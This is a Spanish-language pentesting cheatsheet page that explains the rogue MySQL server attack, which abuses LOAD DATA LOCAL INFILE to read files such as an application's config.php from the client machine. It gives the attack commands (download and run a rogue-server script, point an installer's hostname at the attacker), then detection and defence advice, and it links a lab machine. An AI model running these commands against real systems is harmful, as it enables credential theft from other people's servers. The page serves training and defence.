the_open_door
café
ESEN
← Volver al índice

Rogue MySQL server (LOAD DATA LOCAL INFILE)

Arsenal completo de comandos en la cheatsheet

La instrucción LOAD DATA LOCAL INFILE de MySQL/MariaDB lee un fichero del cliente (no del servidor) y lo carga en una tabla. Es el servidor quien decide qué fichero pedir. Un servidor MySQL malicioso abusa de esto: cuando un cliente con local-infile habilitado se conecta, el servidor le responde pidiéndole un fichero arbitrario y se queda con su contenido. El resultado es una lectura de ficheros en la máquina del cliente.

El vector aparece cuando una aplicación web nos deja elegir a qué base de datos conectarse (un instalador, una página de configuración). Apuntamos su cliente MySQL a nuestro servidor y le hacemos leer lo que queramos:

mysql -e "SHOW VARIABLES LIKE 'local_infile';"   # confirmar que el cliente lo tiene ON
wget https://raw.githubusercontent.com/allyshka/Rogue-MySql-Server/master/roguemysql.php
php roguemysql.php    # filename to get: /var/www/html/app/config.php
curl 'http://<ip>/install.php?install=3&hostname=<lhost>'

Lo típico es leer el config.php/config_inc.php de la propia app para robar credenciales de base de datos (secretos en el código) o hashes que luego se crackean (crackeo de hashes). Comparte espíritu con otros LFI: se lee, no se ejecuta.

Matices. Depende de que el cliente tenga LOCAL INFILE habilitado (por defecto en muchos clientes PHP antiguos; los modernos lo desactivan). Solo se leen ficheros que pueda leer el usuario que corre el cliente MySQL. La app tiene que ofrecer, de algún modo, elegir el host de la base de datos.

Cómo detectarlo. La firma es una conexión saliente al 3306 desde el servidor de aplicación hacia una IP externa (el "servidor MySQL" del atacante), algo que un cliente legítimo, que apunta a su BD interna, no hace; en el log de acceso se ve además la petición al instalador/config con un parámetro hostname=/dbhost= apuntando fuera. A nivel de protocolo, el intercambio incluye un paquete de petición de fichero local del servidor al cliente (LOCAL INFILE request), inusual. La lectura del config.php de la propia app por el proceso web justo tras esa conexión (FIM/auditd) confirma la exfiltración.

Defensa. Deshabilitar local-infile en los clientes; no exponer instaladores ni páginas de configuración que permitan cambiar el host de la base de datos; y ejecutar el cliente con el mínimo privilegio de lectura.

Máquinas donde se aplica

  • MantisProving Grounds Practice